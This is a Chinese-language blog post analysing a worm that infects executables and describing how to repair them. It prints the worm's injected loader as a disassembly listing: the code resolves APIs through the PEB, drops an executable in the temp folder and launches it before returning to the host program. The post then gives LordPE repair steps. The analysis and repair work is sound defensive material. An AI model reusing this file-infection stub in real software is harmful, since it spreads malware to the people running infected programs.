Win32/AutoRun.Agent.NZ 蠕虫感染文件的简单分析和修复

最近几天上qq总是发现nod32 蹦出个什么发现“Win32/AutoRun.Agent.NZ 蠕虫”这么个东西的提示,刚开始还以为是浏览网页留下的也没在意,今天运行其他软件的时候也发现了这么个东东才知道情况不是自己想的那么简单了。找到被感染的程序和没有感染的做了下比较发现没什么大的差距,很明显不是捆绑了,那就是添加了新代码了,用Peid查看发现程序增加了一个区段,如下图:

qq

并且修改程序入口点为增加代码的起始位置,于是每次运行程序都会先释放病毒文件然后运行,这就是为什么每次上qq都会有病毒提示了。

程序关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
00609000 >  E8 00000000     call    00609005                         ; 变形jmp
00609005    5B              pop     ebx
00609006    81EB 05024000   sub     ebx, 00400205
0060900C    64:8B3D 3000000>mov     edi, dword ptr fs:[30]
00609013    8B7F 0C         mov     edi, dword ptr [edi+C]
00609016    8B7F 1C         mov     edi, dword ptr [edi+1C]
00609019    8B3F            mov     edi, dword ptr [edi]
0060901B    8B7F 08         mov     edi, dword ptr [edi+8]
0060901E    89BB C2034000   mov     dword ptr [ebx+4003C2], edi
00609024    8BF7            mov     esi, edi
00609026    0376 3C         add     esi, dword ptr [esi+3C]
00609029    8B76 78         mov     esi, dword ptr [esi+78]
0060902C    03F7            add     esi, edi
0060902E    56              push    esi
0060902F    8B6E 18         mov     ebp, dword ptr [esi+18]
00609032    8B76 20         mov     esi, dword ptr [esi+20]
00609035    03F7            add     esi, edi
00609037    33D2            xor     edx, edx
00609039    56              push    esi
0060903A    8B3E            mov     edi, dword ptr [esi]
0060903C    03BB C2034000   add     edi, dword ptr [ebx+4003C2]
00609042    8DB3 87034000   lea     esi, dword ptr [ebx+400387]
00609048    B9 0F000000     mov     ecx, 0F
0060904D    F3:A6           repe    cmps byte ptr es:[edi], byte ptr>
0060904F    75 06           jnz     short 00609057
00609051    5E              pop     esi
00609052    8BD6            mov     edx, esi
00609054    5E              pop     esi
00609055    EB 11           jmp     short 00609068
00609057    5E              pop     esi
00609058    83C6 04         add     esi, 4
0060905B    42              inc     edx
0060905C    3BD5            cmp     edx, ebp
0060905E  ^ 72 D9           jb      short 00609039
00609060    83EC 04         sub     esp, 4
00609063    E9 1A010000     jmp     00609182
00609068    2B56 20         sub     edx, dword ptr [esi+20]
0060906B    8B83 C2034000   mov     eax, dword ptr [ebx+4003C2]
00609071    2BD0            sub     edx, eax
00609073    D1EA            shr     edx, 1
00609075    0356 24         add     edx, dword ptr [esi+24]
00609078    03D0            add     edx, eax
0060907A    0FB702          movzx   eax, word ptr [edx]
0060907D    C1E0 02         shl     eax, 2
00609080    0346 1C         add     eax, dword ptr [esi+1C]
00609083    0383 C2034000   add     eax, dword ptr [ebx+4003C2]
00609089    8B00            mov     eax, dword ptr [eax]
0060908B    0383 C2034000   add     eax, dword ptr [ebx+4003C2]
00609091    8BF8            mov     edi, eax
00609093    8BEC            mov     ebp, esp
00609095    8B93 C2034000   mov     edx, dword ptr [ebx+4003C2]
0060909B    8D83 96034000   lea     eax, dword ptr [ebx+400396]
006090A1    50              push    eax
006090A2    52              push    edx
006090A3    FFD7            call    edi                              ; GetTmpPath获取临时目录路径
006090A5    81EC 04010000   sub     esp, 104
006090AB    54              push    esp
006090AC    68 04010000     push    104
006090B1    FFD0            call    eax                              ; 获取临时目录路径
006090B3    8D83 A3034000   lea     eax, dword ptr [ebx+4003A3]      ; 将路径存入eax
006090B9    50              push    eax
006090BA    8B93 C2034000   mov     edx, dword ptr [ebx+4003C2]
006090C0    52              push    edx
006090C1    FFD7            call    edi
006090C3    8D8B AC034000   lea     ecx, dword ptr [ebx+4003AC]      ; 生成目标文件文件名
006090C9    51              push    ecx
006090CA    8BCC            mov     ecx, esp
006090CC    83C1 04         add     ecx, 4
006090CF    51              push    ecx
006090D0    FFD0            call    eax                              ; CreateFileA创建文件
006090D2    8D83 B6034000   lea     eax, dword ptr [ebx+4003B6]
006090D8    50              push    eax
006090D9    8B93 C2034000   mov     edx, dword ptr [ebx+4003C2]
006090DF    52              push    edx
006090E0    FFD7            call    edi                              ; 开始写入文件
006090E2    8BCC            mov     ecx, esp
006090E4    6A 00           push    0
006090E6    68 80000000     push    80
006090EB    6A 02           push    2
006090ED    6A 00           push    0
006090EF    6A 00           push    0
006090F1    68 000000C0     push    C0000000
006090F6    51              push    ecx
006090F7    FFD0            call    eax
006090F9    8BF0            mov     esi, eax
006090FB    8D8B ED034000   lea     ecx, dword ptr [ebx+4003ED]
00609101    51              push    ecx
00609102    51              push    ecx
00609103    8B93 C2034000   mov     edx, dword ptr [ebx+4003C2]
00609109    52              push    edx
0060910A    FFD7            call    edi
0060910C    59              pop     ecx
0060910D    6A 00           push    0
0060910F    51              push    ecx
00609110    83C1 0A         add     ecx, 0A
00609113    8B11            mov     edx, dword ptr [ecx]
00609115    52              push    edx
00609116    51              push    ecx
00609117    BA 4D5A9000     mov     edx, 905A4D
0060911C    8911            mov     dword ptr [ecx], edx
0060911E    56              push    esi
0060911F    FFD0            call    eax
00609121    8D83 D5034000   lea     eax, dword ptr [ebx+4003D5]
00609127    50              push    eax
00609128    8B93 C2034000   mov     edx, dword ptr [ebx+4003C2]
0060912E    52              push    edx
0060912F    FFD7            call    edi
00609131    56              push    esi
00609132    FFD0            call    eax                              ; 关闭写指针
00609134    8D83 C6034000   lea     eax, dword ptr [ebx+4003C6]
0060913A    50              push    eax                              ; CreateProcessA
0060913B    8B93 C2034000   mov     edx, dword ptr [ebx+4003C2]
00609141    52              push    edx
00609142    FFD7            call    edi                              ; 运行生成的病毒文件tem81.exe
00609144    83EC 44         sub     esp, 44
00609147    8BD4            mov     edx, esp
00609149    BE 00000000     mov     esi, 0
0060914E    B9 11000000     mov     ecx, 11
00609153    8932            mov     dword ptr [edx], esi
00609155    83C2 04         add     edx, 4
00609158  ^ E2 F9           loopd   short 00609153
0060915A    BA 44000000     mov     edx, 44
0060915F    891424          mov     dword ptr [esp], edx
00609162    83EC 10         sub     esp, 10
00609165    8BD4            mov     edx, esp
00609167    54              push    esp
00609168    83C2 10         add     edx, 10
0060916B    52              push    edx
0060916C    6A 00           push    0
0060916E    6A 00           push    0
00609170    6A 00           push    0
00609172    6A 00           push    0
00609174    6A 00           push    0
00609176    6A 00           push    0
00609178    6A 00           push    0
0060917A    83C2 44         add     edx, 44
0060917D    52              push    edx
0060917E    FFD0            call    eax
00609180    8BE5            mov     esp, ebp
00609182  - E9 A2B6ECFF     jmp     004D4829                         ; 跳向原来程序的入口点,第一个jmp
 
004D4829   .  E8 07E40000   call    004E2C35
004D482E   .^ E9 17FEFFFF   jmp     004D464A                         ;  跳向原程序入口点,记下这个值过会儿修复用

到这里,F8之后就到了原来程序的入口点了,既然知道了病毒的原理,那么修复也就简单了。用LordPe打开要修复的文件:

如下图所示:

cff

这里把程序入口点改成刚才获取的值:D464A。

编辑Section, 将选中的那个区段删除,如下图:

section

将选中的区段删除,然后重建PE即可。至此修复已经完成,程序可以无毒运行了。

另外程序释放的tmp81.exe会注册为服务6to4,如果有的话会替换服务运行。这个在虚拟机上跟了一下,但是么有成功运行。

至此修复已经完成,主要任务完成就醒了,另外的那个程序分析也就没那么重要了。

You may also like

2条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注